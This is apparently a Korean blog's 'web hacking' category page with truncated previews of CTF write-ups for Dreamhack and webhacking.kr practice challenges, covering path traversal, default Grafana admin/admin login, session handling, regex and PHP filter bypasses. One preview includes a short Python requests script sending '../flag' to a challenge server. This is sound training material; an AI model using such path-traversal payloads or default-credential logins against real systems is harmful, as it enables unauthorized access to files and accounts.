본문 바로가기

웹해킹

(116)
드림핵 pathtraversal 롸업 userid에 ../flag를 넣어서 pathtraversal 취약점을 이용하려고 했는데 안된다. 값이 넘어갈 때 flag를 포함하면 undefined로 처리되어서 넘어가는 것 같다. import requests url="http://host3.dreamhack.games:8821/get_info" data={"userid":"../flag"} res=requests.post(url=url, data=data) print(res.text) 이렇게 공격 코드를 짜서 실행하면 flag가 나온다.
드림핵 web-misconf-1 롸업 기본 설정을 사용한 서비스라고 하고 설정 관련 파일이 있다. 근데 설정 관련 파일을 아무리 봐도 [auth.anonymous] # enable anonymous access enabled = false # specify organization name that should be used for unauthenticated users org_name = DH{THIS_IS_FAKE_FLAG} 이 부분 말고는 어떤 정보도 얻을 수 없었다. 한참 설정 파일을 들여다 보다 결국 검색을 해 봤는데 기본 설정을 사용한다는 것 때문에 Grafana에 대해 검색을 해야 했다. Grafana 기본 설정에 대해 찾아보면 초기 id, pw가 admin이다. 그래서 admin, admin으로 로그인이 된다. Server Ad..
드림핵 session 롸업 users = { 'guest': 'guest', 'user': 'user1234', 'admin': FLAG } session_storage = { } @app.route('/') def index(): session_id = request.cookies.get('sessionid', None) try: username = session_storage[session_id] except KeyError: return render_template('index.html') return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}') u..
드림핵 simple-web-request 롸업 @app.route("/step1", methods=["GET", "POST"]) def step1(): #### 풀이와 관계없는 치팅 방지 코드 global step1_num step1_num = int.from_bytes(os.urandom(16), sys.byteorder) #### if request.method == "GET": prm1 = request.args.get("param", "") prm2 = request.args.get("param2", "") step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n" if prm1 == "getget" and prm2 == "rerequest": return redirect(url_for("st..
드림핵 ex-reg-ex 롸업 @app.route("/", methods = ["GET", "POST"]) def index(): input_val = "" if request.method == "POST": input_val = request.form.get("input_val", "") m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val) if m: return render_template("index.html", pre_txt=input_val, flag=FLAG) return render_template("index.html", pre_txt=input_val, flag='?') 구성 코드이다. 간단하게 re.match 함수에 있는 정규표현식을 만족하도록 input_val을..
드림핵 Flying Chars 롸업 글자들이 날아다닌다. 소스코드를 보니 anim 함수에서 move 함수를 이용해 글자를 움직인다. 그냥 단순하게 움직이지 않게 만들면 되니까 anim 함수의 파라미터에서 dis값을 0으로 만들면 된다. console 창에서 저렇게 코드를 입력해주면 글자들이 멈춘다. 멈춘 글자들을 이어서 보면 flag가 된다.
드림핵 phpreg 롸업 $input_name = $_POST["input1"] ? $_POST["input1"] : ""; $input_pw = $_POST["input2"] ? $_POST["input2"] : ""; // pw filtering if (preg_match("/[a-zA-Z]/", $input_pw)) { echo "alphabet in the pw :("; } else{ $name = preg_replace("/nyang/i", "", $input_name); $pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw); if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") { name과..
old-54 롸업(webhacking.kr) 처음에 접속하면 password is 뒤의 문자가 이리저리 바뀌더니 조금 지나니까 ?에서 더 이상 안 바뀐다. function run(){ if(window.ActiveXObject){ try { return new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) { try { return new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) { return null; } } }else if(window.XMLHttpRequest){ return new XMLHttpRequest(); }else{ return null; } } x=run(); function answer(i){ x.open('GET','?m='+i,false); x...